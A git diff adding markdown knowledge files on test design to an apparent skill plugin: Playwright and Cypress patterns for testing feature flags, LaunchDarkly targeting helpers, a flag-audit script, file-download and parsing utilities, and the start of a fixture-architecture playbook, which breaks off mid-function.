+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
